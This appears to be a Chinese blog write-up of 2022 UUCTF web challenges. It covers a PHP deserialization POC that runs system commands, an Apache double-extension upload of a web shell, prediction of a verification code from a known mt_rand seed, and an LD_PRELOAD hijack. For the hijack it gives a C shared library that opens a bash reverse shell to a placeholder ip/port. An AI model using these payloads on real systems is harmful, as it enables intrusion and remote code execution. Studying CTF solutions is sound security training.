2022UUCTF--WEB( 二 )

构造POC
class test{public $a;public $b;public $c;public function __construct(){$this->a=&$this->b;$this->b=2;$this->c="system('ls');";}}echo((serialize(new test())));

2022UUCTF--WEB

文章插图

2022UUCTF--WEB

文章插图
最终的payload
<?phpclass test{public $a;public $b;public $c;public function __construct(){$this->a=&$this->b;$this->b=2;$this->c="system('cat /f*');";}}echo((serialize(new test())));ez_upload--apache解析漏洞
文件上传也就是哪些方式 一个一个试就好
apache解析漏洞 上传shell.jpg.php即可
2022UUCTF--WEB

文章插图
phonecode--mt_rand函数hint:你能猜到验证码吗? 猜测就是随机数预判
打开题目 根据提示 意思就是让我们猜验证码是什么
2022UUCTF--WEB

文章插图
我们先输入手机号和验证码试试 , 发现无论请求多少次 hint永远是895547922 , 结合mt_srand和mt_rand函数 当设置的种子确定(此处的种子时输入的手机号)时,每次的mt_rand都是固定的 我们可以猜测hint就是mt_rand的第一次,而目的验证码就是mt_rand的第二次
mt_srand(11111);echo mt_rand(); // 一直是恒定的echo mt_rand(); // 一直是恒定的echo mt_rand(); // 一直是恒定的
2022UUCTF--WEB

文章插图
我们写代码 弄出第二次的mt_rand
mt_srand(123);echo mt_rand()."\n";//895547922echo mt_rand()."\n";//2141438069发现果然 第一次的mt_rand就是hint
我们将code改为2141438069
2022UUCTF--WEB

文章插图
uploadandinject--LD_PRELOAD劫持打开题目发现有hint
2022UUCTF--WEB

文章插图
看看hint , 意思就是看看swp(Linuxvim产生的文件).index.php.swp或者看到swp扫描就好
2022UUCTF--WEB

文章插图
下载 可以看到源码 使用 vi -r index.php.swp 恢复文件内容
$PATH=$_GET["image_path"];if((!isset($PATH))){$PATH="upload/1.jpg";}echo "<div align='center'>";loadimg($PATH);echo "</div>";function loadimg($img_path){if(file_exists($img_path)){//设置环境变量的值 添加 setting 到服务器环境变量 。环境变量仅存活于当前请求期间 。在请求结束时环境会恢复到初始状态 设置.soLD_PRELOAD设置的优先加载动态链接库putenv("LD_PRELOAD=/var/www/html/$img_path");system("echo Success to load");echo "<br><img src=https://www.huyubaike.com/biancheng/$img_path>";}else{system("echo Failed to load ");}}而且我们笃定是有上传的网页的,限制了文件类型 我们想要上传的是so,但是LD_PRELOAD也能解析jpg后缀 所以修改后缀上传就可以
2022UUCTF--WEB

文章插图
那么问题又来了 我们上传了so文件,怎么才能触发动态链接库的函数?可以看到下面有一个system函数 ,本地测试可以发现,system会调用/bin/sh
2022UUCTF--WEB

文章插图
所以我们写一个exp.c
#include <stdlib.h>#include <stdio.h>#include <string.h>void payload() {//反弹shellsystem("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");}char *strcpy (char *__restrict __dest, const char *__restrict __src) {if (getenv("LD_PRELOAD") == NULL) {return 0;}unsetenv("LD_PRELOAD");payload();}编译成so文件 然后修改后缀为jpg
gcc -shared -fPIC exp.c -o exp.so在upload/upload.php上传
2022UUCTF--WEB

文章插图
然后在主页面访问,根据源码我们传递upload/exp_shell.jpg给image_path
//设置环境变量的值 添加 setting 到服务器环境变量 。环境变量仅存活于当前请求期间 。在请求结束时环境会恢复到初始状态 设置.soLD_PRELOAD设置的优先加载动态链接库putenv("LD_PRELOAD=/var/www/html/$img_path");// 执行函数 就会优先到我们LD_PRELOAD的指向的函数 反弹shellsystem("echo Success to load");
要先在攻击机上监听端口
2022UUCTF--WEB

文章插图
反弹shell成功
2022UUCTF--WEB

推荐阅读